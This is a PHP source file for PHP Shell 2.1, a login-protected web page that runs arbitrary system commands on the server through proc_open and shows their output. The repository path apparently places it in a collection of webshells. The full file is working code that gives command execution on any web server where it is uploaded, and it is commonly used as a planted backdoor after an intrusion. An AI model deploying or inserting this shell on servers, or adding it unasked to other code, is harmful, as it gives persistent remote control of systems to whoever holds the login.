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tennc
2013-09-14 08:13:31 +08:00
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php/PHPshell/【phpshell-2.1】/phpshell3.php Normal file
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<?php // -*- coding: utf-8 -*-
/*
**************************************************************
* PHP Shell 2.1 *
**************************************************************
PHP Shell is an interactive PHP script that will execute any command
entered. See the files README, INSTALL, and SECURITY or
http://mgeisler.net/php-shell/ for further information.
Copyright (C) 2000-2005 Martin Geisler <mgeisler@mgeisler.net>
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You can get a copy of the GNU General Public License from this
address: http://www.gnu.org/copyleft/gpl.html#SEC1
You can also write to the Free Software Foundation, Inc., 59 Temple
Place - Suite 330, Boston, MA 02111-1307, USA.
*/
/* There are no user-configurable settings in this file anymore, please see
* config.php instead. */
/* This error handler will turn all notices, warnings, and errors into fatal
* errors, unless they have been suppressed with the @-operator. */
function error_handler($errno, $errstr, $errfile, $errline, $errcontext) {
/* The @-opertor (used with chdir() below) temporarely makes
* error_reporting() return zero, and we don't want to die in that case.
* We do note the error in the output, though. */
if (error_reporting() == 0) {
$_SESSION['output'] .= $errstr . "\n";
} else {
die('<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>PHP Shell 2.1</title>
<link rel="stylesheet" href="style.css" type="text/css">
</head>
<body>
<h1>Fatal Error!</h1>
<p><b>' . $errstr . '</b></p>
<p>in <b>' . $errfile . '</b>, line <b>' . $errline . '</b>.</p>
<hr>
<p>Please consult the <a href="README">README</a>, <a
href="INSTALL">INSTALL</a>, and <a href="SECURITY">SECURITY</a> files for
instruction on how to use PHP Shell.</p>
<hr>
<address>
Copyright &copy; 2000&ndash;2005, <a
href="mailto:mgeisler@mgeisler.net">Martin Geisler</a>. Get the latest
version at <a
href="http://mgeisler.net/php-shell/">mgeisler.net/php-shell/</a>.
</address>
</body>
</html>');
}
}
/* Installing our error handler makes PHP die on even the slightest problem.
* This is what we want in a security critical application like this. */
set_error_handler('error_handler');
function logout() {
/* Empty the session data, except for the 'authenticated' entry which the
* rest of the code needs to be able to check. */
$_SESSION = array('authenticated' => false);
/* Unset the client's cookie, if it has one. */
// if (isset($_COOKIE[session_name()]))
// setcookie(session_name(), '', time()-42000, '/');
/* Destroy the session data on the server. This prevents the simple
* replay attach where one uses the back button to re-authenticate using
* the old POST data since the server wont know the session then.*/
// session_destroy();
}
function stripslashes_deep($value) {
if (is_array($value))
return array_map('stripslashes_deep', $value);
else
return stripslashes($value);
}
if (get_magic_quotes_gpc())
$_POST = stripslashes_deep($_POST);
/* Initialize some variables we need again and again. */
$username = isset($_POST['username']) ? $_POST['username'] : '';
$password = isset($_POST['password']) ? $_POST['password'] : '';
$nounce = isset($_POST['nounce']) ? $_POST['nounce'] : '';
$command = isset($_POST['command']) ? $_POST['command'] : '';
$rows = isset($_POST['rows']) ? $_POST['rows'] : 24;
$columns = isset($_POST['columns']) ? $_POST['columns'] : 80;
/* Load the configuration. */
$ini = parse_ini_file('config.php', true);
if (empty($ini['settings']))
$ini['settings'] = array();
/* Default settings --- these settings should always be set to something. */
$default_settings = array('home-directory' => '.');
/* Merge settings. */
$ini['settings'] = array_merge($default_settings, $ini['settings']);
session_start();
/* Delete the session data if the user requested a logout. This leaves the
* session cookie at the user, but this is not important since we
* authenticates on $_SESSION['authenticated']. */
if (isset($_POST['logout']))
logout();
/* Attempt authentication. */
if (isset($_SESSION['nounce']) && $nounce == $_SESSION['nounce'] &&
isset($ini['users'][$username])) {
if (strchr($ini['users'][$username], ':') === false) {
// No seperator found, assume this is a password in clear text.
$_SESSION['authenticated'] = ($ini['users'][$username] == $password);
} else {
list($fkt, $salt, $hash) = explode(':', $ini['users'][$username]);
$_SESSION['authenticated'] = ($fkt($salt . $password) == $hash);
}
}
/* Enforce default non-authenticated state if the above code didn't set it
* already. */
if (!isset($_SESSION['authenticated']))
$_SESSION['authenticated'] = false;
if ($_SESSION['authenticated']) {
/* Initialize the session variables. */
if (empty($_SESSION['cwd'])) {
$_SESSION['cwd'] = realpath($ini['settings']['home-directory']);
$_SESSION['history'] = array();
$_SESSION['output'] = '';
}
if (!empty($command)) {
/* Save the command for late use in the JavaScript. If the command is
* already in the history, then the old entry is removed before the
* new entry is put into the list at the front. */
if (($i = array_search($command, $_SESSION['history'])) !== false)
unset($_SESSION['history'][$i]);
array_unshift($_SESSION['history'], $command);
/* Now append the commmand to the output. */
$_SESSION['output'] .= '$ ' . $command . "\n";
/* Initialize the current working directory. */
if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $command)) {
$_SESSION['cwd'] = realpath($ini['settings']['home-directory']);
} elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) {
/* The current command is a 'cd' command which we have to handle
* as an internal shell command. */
if ($regs[1]{0} == '/') {
/* Absolute path, we use it unchanged. */
$new_dir = $regs[1];
} else {
/* Relative path, we append it to the current working
* directory. */
$new_dir = $_SESSION['cwd'] . '/' . $regs[1];
}
/* Transform '/./' into '/' */
while (strpos($new_dir, '/./') !== false)
$new_dir = str_replace('/./', '/', $new_dir);
/* Transform '//' into '/' */
while (strpos($new_dir, '//') !== false)
$new_dir = str_replace('//', '/', $new_dir);
/* Transform 'x/..' into '' */
while (preg_match('|/\.\.(?!\.)|', $new_dir))
$new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
if ($new_dir == '') $new_dir = '/';
/* Try to change directory. */
if (@chdir($new_dir)) {
$_SESSION['cwd'] = $new_dir;
} else {
$_SESSION['output'] .= "cd: could not change to: $new_dir\n";
}
} elseif (trim($command) == 'exit') {
logout();
} else {
/* The command is not an internal command, so we execute it after
* changing the directory and save the output. */
chdir($_SESSION['cwd']);
// We canot use putenv() in safe mode.
if (!ini_get('safe_mode')) {
// Advice programs (ls for example) of the terminal size.
putenv('ROWS=' . $rows);
putenv('COLUMNS=' . $columns);
}
/* Alias expansion. */
$length = strcspn($command, " \t");
$token = substr($command, 0, $length);
if (isset($ini['aliases'][$token]))
$command = $ini['aliases'][$token] . substr($command, $length);
$io = array();
$p = proc_open($command,
array(1 => array('pipe', 'w'),
2 => array('pipe', 'w')),
$io);
/* Read output sent to stdout. */
while (!feof($io[1])) {
$_SESSION['output'] .= htmlspecialchars(fgets($io[1]),
ENT_COMPAT, 'UTF-8');
}
/* Read output sent to stderr. */
while (!feof($io[2])) {
$_SESSION['output'] .= htmlspecialchars(fgets($io[2]),
ENT_COMPAT, 'UTF-8');
}
fclose($io[1]);
fclose($io[2]);
proc_close($p);
}
}
/* Build the command history for use in the JavaScript */
if (empty($_SESSION['history'])) {
$js_command_hist = '""';
} else {
$escaped = array_map('addslashes', $_SESSION['history']);
$js_command_hist = '"", "' . implode('", "', $escaped) . '"';
}
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>PHP Shell 2.1</title>
<link rel="stylesheet" href="style.css" type="text/css">
<script type="text/javascript">
<?php if ($_SESSION['authenticated']) { ?>
var current_line = 0;
var command_hist = new Array(<?php echo $js_command_hist ?>);
var last = 0;
function key(e) {
if (!e) var e = window.event;
if (e.keyCode == 38 && current_line < command_hist.length-1) {
command_hist[current_line] = document.shell.command.value;
current_line++;
document.shell.command.value = command_hist[current_line];
}
if (e.keyCode == 40 && current_line > 0) {
command_hist[current_line] = document.shell.command.value;
current_line--;
document.shell.command.value = command_hist[current_line];
}
}
function init() {
document.shell.setAttribute("autocomplete", "off");
document.shell.output.scrollTop = document.shell.output.scrollHeight;
document.shell.command.focus();
}
<?php } else { ?>
function init() {
document.shell.username.focus();
}
<?php } ?>
</script>
</head>
<body onload="init()">
<h1>PHP Shell 2.1</h1>
<form name="shell" action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post">
<?php
if (!$_SESSION['authenticated']) {
/* Genereate a new nounce every time we preent the login page. This binds
* each login to a unique hit on the server and prevents the simple replay
* attack where one uses the back button in the browser to replay the POST
* data from a login. */
$_SESSION['nounce'] = mt_rand();
?>
<fieldset>
<legend>Authentication</legend>
<?php
if (!empty($username))
echo ' <p class="error">Login failed, please try again:</p>' . "\n";
else
echo " <p>Please login:</p>\n";
?>
<p>Username: <input name="username" type="text" value="<?php echo $username
?>"></p>
<p>Password: <input name="password" type="password"></p>
<p><input type="submit" value="Login"></p>
<input name="nounce" type="hidden" value="<?php echo $_SESSION['nounce']; ?>">
</fieldset>
<?php } else { /* Authenticated. */ ?>
<fieldset>
<legend>Current Working Directory: <code><?php
echo htmlspecialchars($_SESSION['cwd'], ENT_COMPAT, 'UTF-8');
?></code></legend>
<div id="terminal">
<textarea name="output" readonly="readonly" cols="<?php echo $columns ?>" rows="<?php echo $rows ?>">
<?php
$lines = substr_count($_SESSION['output'], "\n");
$padding = str_repeat("\n", max(0, $rows+1 - $lines));
echo rtrim($padding . $_SESSION['output']);
?>
</textarea>
<p id="prompt">
$&nbsp;<input name="command" type="text"
onkeyup="key(event)" size="<?php echo $columns-2 ?>" tabindex="1">
</p>
</div>
<p>
<span style="float: right">Size: <input type="text" name="rows" size="2"
maxlength="3" value="<?php echo $rows ?>"> &times; <input type="text"
name="columns" size="2" maxlength="3" value="<?php echo $columns
?>"></span>
<input type="submit" value="Execute Command">
<input type="submit" name="logout" value="Logout">
</p>
</fieldset>
<?php } ?>
</form>
<hr>
<p>Please consult the <a href="README">README</a>, <a
href="INSTALL">INSTALL</a>, and <a href="SECURITY">SECURITY</a> files for
instruction on how to use PHP Shell.</p>
<hr>
<address>
Copyright &copy; 2000&ndash;2005, <a
href="mailto:mgeisler@mgeisler.net">Martin Geisler</a>. Get the
latest version at <a
href="http://mgeisler.net/php-shell/">mgeisler.net/php-shell/</a>.
</address>
</body>
</html>